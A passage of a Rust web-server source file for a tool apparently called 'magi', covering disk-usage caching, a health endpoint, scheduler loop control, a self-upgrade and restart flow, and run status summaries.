2748 let metadata = match std::fs::symlink_metadata(path) {
2749 Ok(metadata) => metadata,
2750 Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2751 Err(_) => return None,
2752 };
2753 if !metadata.is_dir() {
2754 return Some(if metadata.is_file() {
2755 metadata.len()
2756 } else {
2757 0
2758 });
2759 }
2760 let mut total = 0;
2761 let mut stack = vec![path.to_owned()];
2762 while let Some(dir) = stack.pop() {
2763 for entry in std::fs::read_dir(dir).ok()? {
2764 let entry = entry.ok()?;
2765 let metadata = entry.metadata().ok()?;
2766 if metadata.is_dir() {
2767 stack.push(entry.path());
2768 } else if metadata.is_file() {
2769 total += metadata.len();
2770 }
2771 }
2772 }
2773 Some(total)
2774}
2775
2776#[derive(Debug, Default)]
2777struct DiskObservation {
2778 scope: Option<DiskScope>,
2779 capacity: DiskCapacity,
2780 in_flight: bool,
2781 finished: Option<std::time::Instant>,
2782}
2783
2784impl DiskObservation {
2785 fn observe(
2786 state: &Arc<Mutex<Self>>,
2787 scope: DiskScope,
2788 measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2789 ) -> DiskCapacity {
2790 let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2791 if observation.scope.as_ref() != Some(&scope) {
2792 observation.scope = Some(scope.clone());
2793 observation.capacity = DiskCapacity::default();
2794 observation.finished = None;
2795 }
2796 let capacity = observation.capacity;
2797 if observation.in_flight
2798 || observation
2799 .finished
2800 .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2801 {
2802 return capacity;
2803 }
2804 observation.in_flight = true;
2805 drop(observation);
2806
2807 let refresh = DiskRefresh {
2808 state: Arc::clone(state),
2809 scope,
2810 };
2811 tokio::task::spawn_blocking(move || {
2812 let next = measure(&refresh.scope);
2813 let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2814 if observation.scope.as_ref() == Some(&refresh.scope) {
2815 observation.capacity.retain_successes(next);
2816 }
2817 drop(observation);
2818 drop(refresh);
2821 });
2822 capacity
2823 }
2824}
2825
2826struct DiskRefresh {
2827 state: Arc<Mutex<DiskObservation>>,
2828 scope: DiskScope,
2829}
2830
2831impl Drop for DiskRefresh {
2832 fn drop(&mut self) {
2833 let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2834 observation.in_flight = false;
2835 if observation.scope.as_ref() == Some(&self.scope) {
2836 observation.finished = Some(std::time::Instant::now());
2838 }
2839 }
2840}
2841
2842impl DiskView {
2843 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2845 let capacity = DiskObservation::observe(
2846 &ui.monitor.disk,
2847 DiskScope::of(ui, cfg),
2848 DiskCapacity::measure,
2849 );
2850 Self::with_capacity(ui, capacity)
2851 }
2852
2853 fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2854 Self {
2855 free_bytes: crate::disk::free_bytes(&ui.runs)
2856 .ok()
2857 .or(capacity.free_bytes),
2858 runs_bytes: capacity.runs_bytes,
2859 worktrees_bytes: capacity.worktrees_bytes,
2860 cache_bytes: capacity.cache_bytes,
2861 retention: ui
2862 .runs
2863 .parent()
2864 .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2865 .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2866 }
2867 }
2868}
2869
2870#[derive(Debug, Serialize)]
2872struct DaemonView {
2873 running: bool,
2874 idle: Option<bool>,
2875 pid: Option<u32>,
2876 current: Vec<daemon::Current>,
2880 completed: Option<u64>,
2881 stale_for_secs: Option<i64>,
2882}
2883
2884impl DaemonView {
2885 fn of(status: Option<daemon::Reading>) -> Self {
2889 let Some(status) = status else {
2890 return Self {
2891 running: false,
2892 idle: None,
2893 pid: None,
2894 current: Vec::new(),
2895 completed: None,
2896 stale_for_secs: None,
2897 };
2898 };
2899 let now = Timestamp::now();
2900 let age = status.age_secs(now);
2901 Self {
2902 running: status.running(now),
2903 idle: Some(status.idle),
2904 pid: status.pid,
2905 current: status.current,
2906 completed: Some(status.completed),
2907 stale_for_secs: age,
2908 }
2909 }
2910}
2911
2912fn refresh_health_config(ui: &Arc<Ui>) {
2915 let mut cache = ui
2916 .monitor
2917 .disk_cache
2918 .lock()
2919 .unwrap_or_else(PoisonError::into_inner);
2920 if cache.loading
2921 || cache
2922 .measured
2923 .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
2924 {
2925 return;
2926 }
2927 cache.loading = true;
2928 let weak = Arc::downgrade(ui);
2929 std::thread::spawn(move || {
2930 let Some(ui) = weak.upgrade() else { return };
2931 let cfg = deputy_config(&ui.repo);
2932 let update = cached_update_view(cfg.as_ref());
2933 let mut cache = ui
2934 .monitor
2935 .disk_cache
2936 .lock()
2937 .unwrap_or_else(PoisonError::into_inner);
2938 cache.config = cfg;
2939 cache.update = Some(update);
2940 cache.measured = Some(std::time::Instant::now());
2941 cache.loading = false;
2942 });
2943}
2944
2945fn health_counts(
2946 ui: &Ui,
2947 fallback_questions_rev: u64,
2948) -> ApiResult<(usize, usize, usize, u64, usize)> {
2949 let mut index = ui
2950 .monitor
2951 .health_index
2952 .lock()
2953 .unwrap_or_else(PoisonError::into_inner);
2954 let ids = run_ids(&ui.runs);
2955 let seen: HashSet<_> = ids.iter().cloned().collect();
2956 index.runs.retain(|id, _| seen.contains(id));
2957 let mut unreadable = 0;
2958 for id in ids {
2959 let identity = file_identity(&ui.runs.join(&id).join("run.json"));
2962 let bad = match identity {
2963 Ok(identity) => {
2964 if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
2965 let bad = read_run(&ui.runs, &id).is_err();
2966 index.runs.insert(id.clone(), (identity, bad));
2967 #[cfg(test)]
2968 {
2969 index.run_parses += 1;
2970 }
2971 }
2972 index.runs[&id].1
2973 }
2974 Err(_) => true,
2975 };
2976 unreadable += usize::from(bad);
2977 }
2978 let questions_rev = try_stamps(ui.questions.root(), false, true)
2979 .map(|stamps| stamps_revision(&stamps))
2980 .unwrap_or(fallback_questions_rev);
2981 if index.questions.as_ref().is_none_or(|counts| {
2982 counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
2983 }) {
2984 let questions = ui.questions.list();
2985 index.questions = Some(QuestionCounts {
2986 revision: questions_rev,
2987 measured: std::time::Instant::now(),
2988 open: questions.iter().filter(|q| q.status.open()).count(),
2989 owner: questions
2990 .iter()
2991 .filter(|q| {
2992 q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2993 })
2994 .count(),
2995 });
2996 }
2997 let notifications_rev =
2998 stamps_revision(&try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?);
2999 if index
3000 .notices
3001 .is_none_or(|(rev, _)| rev != notifications_rev)
3002 {
3003 index.notices = Some((notifications_rev, ui.notices.count_unread()));
3004 }
3005 let questions = index.questions.as_ref().unwrap();
3006 Ok((
3007 unreadable,
3008 questions.open,
3009 questions.owner,
3010 notifications_rev,
3011 index.notices.unwrap().1,
3012 ))
3013}
3014
3015async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3016 let revisions = ui.monitor.revisions(&ui).await?;
3017 refresh_health_config(&ui);
3018 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3019 let reading = daemon::read_status(&ui.home);
3023 let loop_rev = ui.lock_loop().rev;
3027 let (
3028 runs_unreadable,
3029 questions_open,
3030 questions_needs_owner,
3031 notifications_rev,
3032 notifications_unread,
3033 ) = health_counts(&ui, revisions.2)?;
3034 let ((cfg, config_observed, sizes, measured), update) = {
3035 let cache = ui
3036 .monitor
3037 .disk_cache
3038 .lock()
3039 .unwrap_or_else(PoisonError::into_inner);
3040 (
3041 (
3042 cache.config.clone(),
3043 cache.measured.is_some(),
3044 cache.disk.clone(),
3045 cache.measured,
3046 ),
3047 cache.update.clone().unwrap_or(UpdateView {
3048 available: false,
3049 to: None,
3050 }),
3051 )
3052 };
3053 let prior_capacity = {
3057 let mut observation = ui
3058 .monitor
3059 .disk
3060 .lock()
3061 .unwrap_or_else(PoisonError::into_inner);
3062 if observation.scope.is_none()
3065 && let Some(sizes) = sizes
3066 {
3067 observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3068 observation.capacity = DiskCapacity {
3069 runs_bytes: Some(sizes.runs),
3070 worktrees_bytes: Some(sizes.worktrees),
3071 cache_bytes: sizes.cache,
3072 free_bytes: None,
3073 };
3074 observation.finished = measured;
3075 }
3076 observation.scope.as_ref().map(|_| observation.capacity)
3077 };
3078 let disk = if config_observed {
3079 serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3080 } else {
3081 serde_json::to_value(DiskView::with_capacity(
3082 &ui,
3083 prior_capacity.unwrap_or_default(),
3084 ))
3085 .ok()
3086 };
3087 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3088 let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3089 #[cfg(not(test))]
3090 let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3091 #[cfg(test)]
3092 let looping = ui.loop_view(reading.clone());
3093 Ok(Json(HealthView {
3094 jobs: jobs.into_iter().map(WorkerView::from).collect(),
3095 version: env!("CARGO_PKG_VERSION"),
3096 home: ui.home.display().to_string(),
3097 queue_rev: revisions.0,
3098 runs_rev: revisions.1,
3099 questions_rev: revisions.2,
3100 talks_rev: revisions.3,
3101 notifications_rev,
3102 notifications_unread,
3103 loop_rev,
3104 runs_unreadable,
3105 questions_open,
3106 questions_needs_owner,
3107 daemon: DaemonView::of(reading.clone()),
3108 looping,
3109 disk,
3110 update,
3111 upgrade,
3112 upgrade_request_error: ui
3113 .upgrade_request_error
3114 .lock()
3115 .unwrap_or_else(PoisonError::into_inner)
3116 .clone(),
3117 }))
3118 })
3119 .await
3120}
3121
3122#[derive(Debug, Serialize)]
3124struct LoopView {
3125 running: bool,
3127 stopping: bool,
3129 parking: bool,
3131 owned: bool,
3133 repo: String,
3136 merge: Option<String>,
3139 last_error: Option<String>,
3147 daemon: DaemonView,
3150}
3151
3152#[derive(Debug, Clone, Copy)]
3157struct Foreign {
3158 pid: Option<u32>,
3160}
3161
3162impl Foreign {
3163 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3166 if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3170 return None;
3171 }
3172 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3173 }
3174
3175 fn who(&self) -> String {
3178 match self.pid {
3179 Some(pid) => format!("another magi process (pid {pid})"),
3180 None => "another magi process".to_owned(),
3181 }
3182 }
3183}
3184
3185type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3190
3191#[cfg(test)]
3192type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3193
3194#[cfg(test)]
3196fn launch_daemon(
3197 opts: daemon::Opts,
3198 stop: daemon::Stop,
3199) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3200 Box::pin(daemon::serve_until(opts, stop))
3201}
3202
3203#[derive(Debug, Default)]
3205struct LoopState {
3206 #[cfg(test)]
3208 live: Option<Live>,
3209 rev: u64,
3212 last_error: Option<String>,
3215}
3216
3217#[cfg(test)]
3219#[derive(Debug)]
3220struct Live {
3221 stop: daemon::Stop,
3223 handle: tokio::task::JoinHandle<()>,
3228 opts: daemon::Opts,
3232}
3233
3234#[cfg(test)]
3235impl Live {
3236 fn alive(&self) -> bool {
3238 !self.handle.is_finished()
3239 }
3240}
3241
3242fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3249 state.lock().unwrap_or_else(PoisonError::into_inner)
3250}
3251
3252async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3254 blocking(move || {
3255 let reading = daemon::read_status(&ui.home);
3256 #[cfg(not(test))]
3257 let view = ui.try_loop_view(reading)?;
3258 #[cfg(test)]
3259 let view = ui.loop_view(reading);
3260 Ok(Json(view))
3261 })
3262 .await
3263}
3264
3265#[derive(Debug, Deserialize)]
3271#[serde(deny_unknown_fields)]
3272struct LoopCommand {
3273 running: bool,
3274 #[serde(default)]
3284 park: bool,
3285}
3286
3287async fn loop_post(
3290 State(ui): State<Arc<Ui>>,
3291 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3292) -> ApiResult<Json<LoopView>> {
3293 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3296 #[cfg(not(test))]
3297 {
3298 if body.running {
3299 ui.start_detached_loop().await?;
3300 } else {
3301 let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3302 ui.stop_loop(foreign, body.park)?;
3303 }
3304 Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3305 }
3306 #[cfg(test)]
3307 {
3308 blocking(move || {
3309 let reading = daemon::read_status(&ui.home);
3310 let foreign = Foreign::of(reading.as_ref());
3311 if body.running {
3312 ui.start_loop(foreign)?;
3313 } else {
3314 ui.stop_loop(foreign, body.park)?;
3315 }
3316 Ok(Json(ui.loop_view(reading)))
3317 })
3318 .await
3319 }
3320}
3321
3322#[derive(Debug, Serialize)]
3324struct UpgradeView {
3325 from: String,
3327 to: Option<String>,
3329 detail: String,
3331}
3332
3333fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3336 progress.filter(|p| !p.stage.terminal())
3337}
3338
3339fn upgrade_retry_after(message: &str) -> Option<u64> {
3342 if !message.contains("GitHub") || !message.contains("rate limit") {
3343 return None;
3344 }
3345 if message.contains("retry now") {
3346 return Some(0);
3347 }
3348 let duration = message
3349 .split_once("resets in ")
3350 .or_else(|| message.split_once("retry after "))?
3351 .1
3352 .split_once(')')?
3353 .0;
3354 let mut rest = duration.trim();
3355 if rest.is_empty() {
3356 return None;
3357 }
3358 let mut total = 0u64;
3359 while !rest.is_empty() {
3360 let n = rest.find(|c: char| !c.is_ascii_digit())?;
3361 let amount: u64 = rest[..n].parse().ok()?;
3362 let scale = match rest[n..].chars().next()? {
3363 's' => 1,
3364 'm' => 60,
3365 'h' => 3600,
3366 'd' => 86400,
3367 _ => return None,
3368 };
3369 total = total.checked_add(amount.checked_mul(scale)?)?;
3370 rest = rest[n + 1..].trim_start();
3371 }
3372 Some(total)
3373}
3374
3375#[derive(Debug, Clone, Serialize)]
3376struct UpgradeRequestFailure {
3377 occurred_at: String,
3378 error: String,
3379 retry_after_secs: Option<u64>,
3380 retry_at: Option<u64>,
3382}
3383
3384impl UpgradeRequestFailure {
3385 fn new(error: String) -> Self {
3386 let retry_after_secs = upgrade_retry_after(&error);
3387 let now = std::time::SystemTime::now()
3388 .duration_since(std::time::UNIX_EPOCH)
3389 .unwrap_or_default()
3390 .as_secs();
3391 Self {
3392 occurred_at: jiff::Timestamp::now().to_string(),
3393 error,
3394 retry_after_secs,
3395 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3396 }
3397 }
3398}
3399
3400async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3413 begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3414}
3415
3416async fn begin_upgrade(
3417 ui: &Arc<Ui>,
3418 trigger: updater::UpgradeTrigger,
3419 latest: Option<kaishin::LatestRelease>,
3420) -> Response {
3421 let reading = daemon::read_status(&ui.home);
3422 if let Some(other) = Foreign::of(reading.as_ref()) {
3423 return ApiError::conflict(format!(
3424 "{} is a legacy scheduler without detached restart support. \
3425 Finish or explicitly park its work in the existing UI before \
3426 this first migration; independent schedulers do not need this.",
3427 other.who()
3428 ))
3429 .into_response();
3430 }
3431
3432 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3437 return ApiError::conflict("another request is already preparing an upgrade")
3438 .into_response();
3439 };
3440 if trigger == updater::UpgradeTrigger::Auto {
3443 let cfg = match Config::discover(&ui.repo, None) {
3444 Ok((cfg, _)) => cfg,
3445 Err(e) => {
3446 return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3447 }
3448 };
3449 let Some(latest) = latest else {
3450 return StatusCode::NO_CONTENT.into_response();
3451 };
3452 let busy = ui.auto_upgrade_busy();
3453 let failed = ui
3454 .auto_failed_tag
3455 .lock()
3456 .unwrap_or_else(PoisonError::into_inner)
3457 .clone();
3458 let decision = auto_upgrade_decision(
3459 &cfg.update,
3460 updater::disabled_by_env(),
3461 ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3462 || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3463 busy,
3464 &latest.tag_name,
3465 failed.as_deref(),
3466 );
3467 if decision != AutoUpgradeDecision::Trigger {
3468 let reason = match decision {
3469 AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3470 AutoUpgradeDecision::Skip(reason) => reason,
3471 AutoUpgradeDecision::Trigger => unreachable!(),
3472 };
3473 updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3474 return StatusCode::NO_CONTENT.into_response();
3475 }
3476 ui.upgrade_spawned
3480 .store(true, std::sync::atomic::Ordering::SeqCst);
3481 if ui.auto_upgrade_busy() {
3482 ui.upgrade_spawned
3483 .store(false, std::sync::atomic::Ordering::SeqCst);
3484 updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3485 return StatusCode::NO_CONTENT.into_response();
3486 }
3487 updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3488 return finish_upgrade_request(
3489 ui,
3490 upgrade_checked_for(
3491 ui,
3492 env!("CARGO_PKG_VERSION").into(),
3493 Ok(Some(latest)),
3494 trigger,
3495 ),
3496 );
3497 }
3498 finish_upgrade_request(ui, upgrade_prepare(ui).await)
3499}
3500
3501fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3502 match result {
3503 Ok(out) => {
3504 *ui.upgrade_request_error
3505 .lock()
3506 .unwrap_or_else(PoisonError::into_inner) = None;
3507 out.into_response()
3508 }
3509 Err(error) if error.status != StatusCode::CONFLICT => {
3510 let failure = UpgradeRequestFailure::new(error.message);
3511 *ui.upgrade_request_error
3512 .lock()
3513 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3514 let mut response = (error.status, Json(&failure)).into_response();
3515 if let Some(value) = failure
3516 .retry_after_secs
3517 .and_then(|secs| secs.to_string().parse().ok())
3518 {
3519 response.headers_mut().insert("retry-after", value);
3520 }
3521 response
3522 }
3523 Err(error) => error.into_response(),
3524 }
3525}
3526
3527async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3528 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3529 return Err(ApiError::conflict(
3530 "an upgrade is already in progress (this process started one and it \
3531 has not finished or failed yet)",
3532 ));
3533 }
3534 let recorded = updater::read_progress(&ui.home);
3535 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3536 return Err(ApiError::conflict(format!(
3537 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3538 stays stuck, restart the deck; on start it settles a stale record.",
3539 p.stage.as_str(),
3540 p.from,
3541 p.to.as_deref().unwrap_or("?"),
3542 )));
3543 }
3544
3545 if crate::updater::disabled_by_env() {
3551 return Ok((
3552 StatusCode::OK,
3553 Json(UpgradeView {
3554 from: env!("CARGO_PKG_VERSION").to_owned(),
3555 to: None,
3556 detail: format!(
3557 "Automatic updates are disabled by {}. Nothing was parked \
3558 and nothing restarted.",
3559 crate::updater::NO_AUTOUPDATE_ENV
3560 ),
3561 }),
3562 ));
3563 }
3564
3565 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3568 let from = env!("CARGO_PKG_VERSION").to_owned();
3569 let latest = match crate::updater::Checker::new(&cfg.update) {
3570 Some(checker) => checker.newer_release().await,
3571 None => Ok(None),
3572 };
3573 upgrade_checked(ui, from, latest)
3574}
3575
3576fn upgrade_checked(
3577 ui: &Arc<Ui>,
3578 from: String,
3579 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3580) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3581 upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3582}
3583
3584fn upgrade_checked_for(
3585 ui: &Arc<Ui>,
3586 from: String,
3587 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3588 trigger: updater::UpgradeTrigger,
3589) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3590 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3591 let Some(latest) = latest else {
3592 return Ok((
3593 StatusCode::OK,
3594 Json(UpgradeView {
3595 from,
3596 to: None,
3597 detail: "Already on the newest release. Nothing was parked \
3598 and nothing restarted."
3599 .to_owned(),
3600 }),
3601 ));
3602 };
3603
3604 let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3605
3606 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3610 progress.trigger = trigger;
3611 updater::write_progress_logged(&ui.home, &progress);
3612
3613 let home = ui.home.clone();
3614 ui.upgrade_spawned
3615 .store(true, std::sync::atomic::Ordering::SeqCst);
3616 let spawned = Arc::clone(&ui.upgrade_spawned);
3617 let runner = ui.upgrade_runner;
3618 let failed = ui.auto_failed_tag.clone();
3619 let tag = latest.tag_name.clone();
3620 tokio::spawn(async move {
3621 if let Err(e) = runner(home.clone()).await {
3622 if trigger == updater::UpgradeTrigger::Auto {
3623 *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3624 }
3625 tracing::error!("the upgrade did not complete: {e:#}");
3626 let _ = updater::fail_progress(&home, &format!("{e:#}"));
3630 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3632 }
3633 });
3634
3635 Ok((
3636 StatusCode::ACCEPTED,
3637 Json(UpgradeView {
3638 from,
3639 to: Some(latest.tag_name),
3640 detail,
3641 }),
3642 ))
3643}
3644
3645async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3650 crate::updater::run_self_update(true, false, true).await?;
3653 updater::log_step(&home, "binary replaced - recording the replaced stage");
3654 if let Some(mut progress) = updater::read_progress(&home) {
3655 progress.advance(updater::Stage::Replaced);
3656 updater::write_progress_logged(&home, &progress);
3657 }
3658 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3659 HANDOVER.notify_one();
3660 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3661 Ok(())
3662}
3663
3664#[derive(Debug, Serialize)]
3670struct RunSummary {
3671 id: String,
3672 short: String,
3673 status: String,
3674 done: bool,
3675 instruction: String,
3676 title: String,
3677 repo: String,
3678 repo_name: String,
3679 created_at: String,
3680 updated_at: String,
3681 candidates: usize,
3682 viable: usize,
3683 judges: usize,
3684 winner: Option<char>,
3685 reviews: usize,
3686 quota_losses: usize,
3687 event: Option<String>,
3688 superseded_by: Option<String>,
3693 waiting: bool,
3700 live: crate::run::Liveness,
3704 pr: Option<crate::run::PrRecord>,
3706 unmerged_by_design: bool,
3712 #[serde(default)]
3715 display_status: String,
3716 #[serde(default)]
3719 badge_status: String,
3720 origin_label: String,
3723}
3724
3725impl RunSummary {
3726 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3727 Self {
3728 id: state.id.clone(),
3729 short: state.short().to_owned(),
3730 status: status_word(state.status),
3731 done: state.status.done(),
3732 unmerged_by_design: state.unmerged_by_design(),
3733 display_status: run_display_status(state, waiting, live),
3734 badge_status: run_display_status(state, waiting, live),
3735 instruction: state.instruction.clone(),
3736 title: title_from(&state.instruction, TITLE_MAX),
3737 repo: state.repo.display().to_string(),
3738 repo_name: state
3739 .repo
3740 .file_name()
3741 .map(|n| n.to_string_lossy().into_owned())
3742 .unwrap_or_default(),
3743 created_at: state.created_at.to_string(),
3744 updated_at: state.updated_at.to_string(),
3745 candidates: state.candidates.len(),
3746 viable: state.viable().len(),
3747 judges: state.config.graph.judges,
3748 winner: state.winner().map(|c| c.label),
3749 reviews: state.reviews.len(),
3750 quota_losses: state.quota.len(),
3751 event: state
3752 .verification_blocking_cause()
3753 .or_else(|| state.events.last().map(|e| e.message.clone())),
3754 waiting,
3755 live,
3756 superseded_by: None,
3759 pr: state.pr.clone(),
3760 origin_label: crate::run::origin_label(state.origin.as_ref()),
3761 }
3762 }
3763}
3764
3765fn status_word(status: RunStatus) -> String {
3768 status.as_str().to_owned()
3772}
3773
3774fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3780 if waiting {
3781 return "waiting".to_owned();
3782 }
3783 if state.unmerged_by_design() {
3784 return "unmerged".to_owned();
3785 }
3786 if !state.status.done() && live == crate::run::Liveness::Dead {
3787 if state.parked {
3790 return "parked".to_owned();
3791 }
3792 return "stale".to_owned();
3793 }
3794 status_word(state.status)
3795}
3796
3797fn run_badge_status(
3805 state: &RunState,
3806 display_status: &str,
3807 live: crate::run::Liveness,
3808 superseded: bool,
3809) -> String {
3810 if state.status.done() || live == crate::run::Liveness::Live {
3811 return display_status.to_owned();
3812 }
3813 if superseded {
3814 return "superseded".to_owned();
3815 }
3816 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3820 return "stale".to_owned();
3821 }
3822 display_status.to_owned()
3823}
3824
3825#[derive(Debug, Deserialize)]
3827struct ListQuery {
3828 #[serde(default)]
3829 limit: Option<usize>,
3830 ids: Option<String>,
3832}
3833
3834impl ListQuery {
3835 fn contains(&self, id: &str) -> bool {
3836 self.ids
3837 .as_ref()
3838 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3839 }
3840}
3841
3842async fn runs_list(
3843 State(ui): State<Arc<Ui>>,
3844 Query(q): Query<ListQuery>,
3845) -> ApiResult<Json<Vec<RunSummary>>> {
3846 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3847 blocking(move || {
3848 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3849 let states = run_ids(&ui.runs)
3850 .into_iter()
3851 .filter_map(|id| read_run(&ui.runs, &id).ok())
3856 .take(limit)
3857 .filter(|run| q.contains(&run.id));
3858 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3859 let summaries = summarize(
3860 states,
3861 &open_runs,
3862 &claimed,
3863 &superseded,
3864 |p| probe.borrow_mut().status(p),
3865 |p| probe.borrow_mut().started_at(p),
3866 );
3867 Ok(Json(summaries))
3868 })
3869 .await
3870}
3871
3872fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3877 let open_runs: HashSet<String> = ui
3878 .questions
3879 .list()
3880 .into_iter()
3881 .filter(|q| q.status.open())
3882 .map(|q| q.run)
3883 .collect();
3884 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3885 .into_iter()
3886 .map(|c| c.run)
3887 .collect();
3888 (open_runs, claimed, ui.queue.superseded())
3889}
3890
3891fn summarize<I, S, D>(
3897 states: I,
3898 open_runs: &HashSet<String>,
3899 claimed: &HashSet<String>,
3900 superseded: &HashMap<String, String>,
3901 mut status_q: S,
3902 mut identity_q: D,
3903) -> Vec<RunSummary>
3904where
3905 I: IntoIterator<Item = RunState>,
3906 S: FnMut(u32) -> Option<bool>,
3907 D: FnMut(u32) -> Option<String>,
3908{
3909 states
3910 .into_iter()
3911 .map(|state| {
3912 let waiting = open_runs.contains(&state.id);
3913 let live =
3914 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3915 let mut row = RunSummary::of(&state, waiting, live);
3916 row.superseded_by = state
3917 .pr_taken_over_by
3918 .as_ref()
3919 .or_else(|| superseded.get(&state.id))
3920 .map(String::as_str)
3921 .map(crate::run::short_of)
3922 .map(str::to_owned);
3923 row.badge_status = run_badge_status(
3924 &state,
3925 &row.display_status,
3926 live,
3927 row.superseded_by.is_some(),
3928 );
3929 row
3930 })
3931 .collect()
3932}
3933
3934#[derive(Debug, Serialize)]
3941struct RunDetailView {
3942 stop_reason: Option<String>,
3943 #[serde(flatten)]
3944 state: RunState,
3945 instruction_md: Vec<md::Node>,
3946 #[serde(flatten)]
3950 prose_md: RunProseMd,
3951 live: crate::run::Liveness,
3966 unmerged_by_design: bool,
3971 #[serde(default)]
3973 waiting: bool,
3974 #[serde(default)]
3976 display_status: String,
3977 #[serde(default)]
3979 badge_status: String,
3980 done: bool,
3985 superseded_by: Option<String>,
3993 latest_attempt: Option<LatestAttempt>,
4007 task: Option<TaskRef>,
4010 origin_label: String,
4014 pass_views: Vec<PassView>,
4017}
4018
4019#[derive(Debug, Serialize)]
4021struct TaskRef {
4022 id: String,
4023 short: String,
4024 title: String,
4025 source_label: String,
4027 source_link: Option<SourceLink>,
4029 status: &'static str,
4031 attempts: usize,
4032 max_attempts: usize,
4033 is_latest: bool,
4035 latest: Option<RunBrief>,
4037 finished_by: Option<RunBrief>,
4039 closed_by_hand: bool,
4041}
4042
4043#[derive(Debug, PartialEq, Eq, Serialize)]
4045struct SourceLink {
4046 kind: &'static str,
4048 id: String,
4050 href: String,
4052}
4053
4054fn encode_segment(raw: &str) -> String {
4056 let mut out = String::with_capacity(raw.len());
4057 for b in raw.bytes() {
4058 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4059 out.push(b as char);
4060 } else {
4061 out.push_str(&format!("%{b:02X}"));
4062 }
4063 }
4064 out
4065}
4066
4067fn source_link(source: &Source) -> Option<SourceLink> {
4071 let Source::Agent { run, node } = source else {
4072 return None;
4073 };
4074 let (kind, route) = if node == crate::queue::CHAT_NODE {
4075 ("chat", "chat")
4076 } else {
4077 ("run", "runs")
